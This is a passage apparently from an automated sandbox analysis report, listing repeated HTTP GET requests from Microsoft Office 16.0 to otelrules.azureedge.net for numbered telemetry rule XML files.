Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
